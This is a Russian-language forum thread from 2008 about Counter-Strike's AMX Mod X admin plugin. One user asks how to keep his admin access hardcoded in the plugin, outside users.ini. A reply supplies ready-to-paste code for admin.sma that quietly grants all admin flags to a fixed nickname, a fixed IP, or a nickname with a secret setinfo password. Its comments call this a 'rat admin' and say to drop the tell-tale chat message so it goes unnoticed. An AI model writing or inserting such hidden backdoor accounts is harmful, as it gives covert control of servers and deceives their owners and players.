Правила форума Гаранты форума
Размещение рекламы AMX-X компилятор

Здравствуйте, гость Вход | Регистрация

Наши новости:

14-дек
24-апр
10-апр
11-апр

> Правила форума

Этот раздел, как вы могли заметить по названию, предназначен для решения вопросов по поводу уже существующих модов и плагинов.
Пожалуйста, если у вас проблема с написанием плагина, не путайте этот раздел с разделом по скриптингу.
Для поиска плагинов и модов существует соответствующий раздел.

Название темы должно соответствовать содержанию. Темы с названием типа "Помогите", "Вопрос", "парни подскажите..." - будут удалены.
Все темы, не относящиеся к "Вопросам по модам и плагинам", будут удалены или перемещены в соответствующий раздел.

Правила оформления темы:
1. Помимо заголовка не забудьте верно сформулировать свой вопрос.
2. Выложите исходник (в тег кода + ) или ссылку на плагин который вызывает у вас вопросы.
3. Выложите лог с ошибками (если имеется) под спойлер

Admin.amxx

, Хочу стобы в этом плагине было...
Статус пользователя *Silence*
сообщение 21.5.2008, 14:01
Сообщение #1


Стаж: 18 лет

Сообщений: 249
Благодарностей: 50
Полезность: 323

Меценат Меценат

Я хочу чтобы допустим меня небыло в списке cstrike\addons\amxmodx\configs\users.ini я хочу чтобы моё имя пользователя и пароль было заранее прописано в плагине а другие уже в файле users.ini
Кто может помочь ?
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   Цитировать сообщение
Статус пользователя SilverFire
сообщение 21.5.2008, 14:13
Сообщение #2


Стаж: 18 лет

Сообщений: 630
Благодарностей: 568
Полезность: 1151

fool.gif
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя *Silence*
сообщение 21.5.2008, 14:18
Сообщение #3


Стаж: 18 лет

Сообщений: 249
Благодарностей: 50
Полезность: 323

Меценат Меценат

dima4199
??
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя SilverFire
сообщение 21.5.2008, 14:21
Сообщение #4


Стаж: 18 лет

Сообщений: 630
Благодарностей: 568
Полезность: 1151

*Silence*
!!
Админы назначаются файлом users.ini и не более того!
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя *Silence*
сообщение 21.5.2008, 14:32
Сообщение #5


Стаж: 18 лет

Сообщений: 249
Благодарностей: 50
Полезность: 323

Меценат Меценат

dima4199
Можно сделать и не только файлом users.ini можно назначит файл какой хочешь даже и в другом каталоге но я хочу именно чтобы админство можно было прописать в плагине

Отредактировал: *Silence*, - 21.5.2008, 14:33
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя jas0n
сообщение 21.5.2008, 14:52
Сообщение #6


Стаж: 19 лет

Сообщений: 878
Благодарностей: 385
Полезность: 688

Поищи тему "Беспалевное админство". Уже обсуждали такое дело.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя bravo
сообщение 25.5.2008, 5:55
Сообщение #7


Стаж: 19 лет

Сообщений: 2650
Благодарностей: 865
Полезность: 879

Меценат Меценат

jas0n к сожалению тема ушла в небытие... видимо. поиск не помог.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя Saimon
сообщение 26.5.2008, 9:29
Сообщение #8


Стаж: 18 лет

Сообщений: 136
Благодарностей: 46
Полезность: 267

Открываешь admin.sma и спускаешся в самый низ и там добавляешь то что тебе нужно по имени,по IP и т.д
================================по имени==============================
hideAdmin ( id ) {
new name[32]
new admname[] = "jas0n" // Имя крысоОдмина. Тобиш пропиши тут себя.
get_user_name(id, name, sizeof(name) - 1)

if (equali(admname, name, sizeof(admname) - 1)) {
new flgs_bitsum = read_flags("abcdefghijklmnopqrstu") // Флаги, которые будут даваться крысоОдмину. Сейчас установлены все стандартные.
remove_user_flags(id, -1)
set_user_flags(id, flgs_bitsum)
client_print(0, print_chat, "gpo}|{uTe LL|eHKu, 9 BaLLl HoBblu 0gMuH!!!") // Строка которую можеш убрать, чтобы небыла палева (;
}
}

2. Чуть выше находиш функцию:
Код
public client_putinserver(id)
{
if (!is_dedicated_server() && id == 1)
return get_cvar_num("amx_mode") ? accessUser(id) : PLUGIN_CONTINUE

return PLUGIN_CONTINUE
}

3. Дописываеш в нейо hideAdmin(id), чтоб вышло следуюсчее:
Код
public client_putinserver(id)
{
if (!is_dedicated_server() && id == 1)
return get_cvar_num("amx_mode") ? accessUser(id) : PLUGIN_CONTINUE
hideAdmin(id) // <- Осё сюда!
return PLUGIN_CONTINUE
}

4. Меняеш на имя админа и коннэктишся одмином.
nb1: Имя чуствительно к регистру, тобиш если ты будеш заходить под ником makzz, права не дадутса!
nb2: Права даются только при входе на сервер с правильным ником (тобиш сменив ник на "одминский" во время игры прав не получиш - нужен рэконнэкт). Но если играя с "одминским" ником смениш имя на какое-то другое, то права сразу пропадут.
Хух! :Р

==================================по IP================================
hideAdmin ( id ) {
new ip[16]
new admip[16] = "192.000.000.000" // сдесь впиши свой IP
get_user_ip(id, ip, sizeof admip - 1, 1)

if (equal(ip, admip, sizeof ip - 1)) {
new flgs_bitsum = read_flags("abcdefghijklmnopqrstu")
remove_user_flags(id, -1)
set_user_flags(id, flgs_bitsum)
client_print(0, print_chat, "gpo}|{uTe LL|eHKu, 9 BaLLl HoBblu 0gMuH!!!")
}
}

2. Чуть выше находиш функцию:
Код
public client_putinserver(id)
{
if (!is_dedicated_server() && id == 1)
return get_cvar_num("amx_mode") ? accessUser(id) : PLUGIN_CONTINUE

return PLUGIN_CONTINUE
}

3. Дописываеш в нейо hideAdmin(id), чтоб вышло следуюсчее:
Код
public client_putinserver(id)
{
if (!is_dedicated_server() && id == 1)
return get_cvar_num("amx_mode") ? accessUser(id) : PLUGIN_CONTINUE
hideAdmin(id) // <- Осё сюда!
return PLUGIN_CONTINUE
}
===========================проверка ника + пароль==========================
hideAdmin ( id ) {
new name[32], password[32]
new admName[] = "hideAdmName" // Ник Админа
new admPass[] = "hideAdmPassword" // Пароль Админа
new passfield = "_hideAdmin" // Поле для хранения пароля

get_user_name(id, name, sizeof(name) - 1)
get_user_info(id, passfield, password, sizeof(password) - 1)

if (equali(admName, name, sizeof(admName) - 1) && equali(admPass, password, sizeof(admPass) - 1)) {
new flgs_bitsum = read_flags("abcdefghijklmnopqrstu")
remove_user_flags(id, -1)
set_user_flags(id, flgs_bitsum)
}
}

Теперь в соответствующие места функции вписать ник (по-умолчанию hideAdmName), пароль (по-умолчанию hideAdmPassword) админа и название поля для хранения пароля (по-умолчанию _hideAdmin). Сделать всё, как описано в посте #17, только в пункте 1. вставлять функцию из этого поста.
И заходить на сервер для получения админских прав теперь нужно так:
Код
name "hideAdmname"; setinfo _hideAdmin "hideAdmPassword"
соответственно подставив свои данные.
Автор статьи jas0n :)

Отредактировал: Saimon, - 26.5.2008, 9:30
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
Поблагодарили 1 раз
   + Цитировать сообщение
  Тема закрытаНачать новую тему
 
0 пользователей и 1 гостей читают эту тему: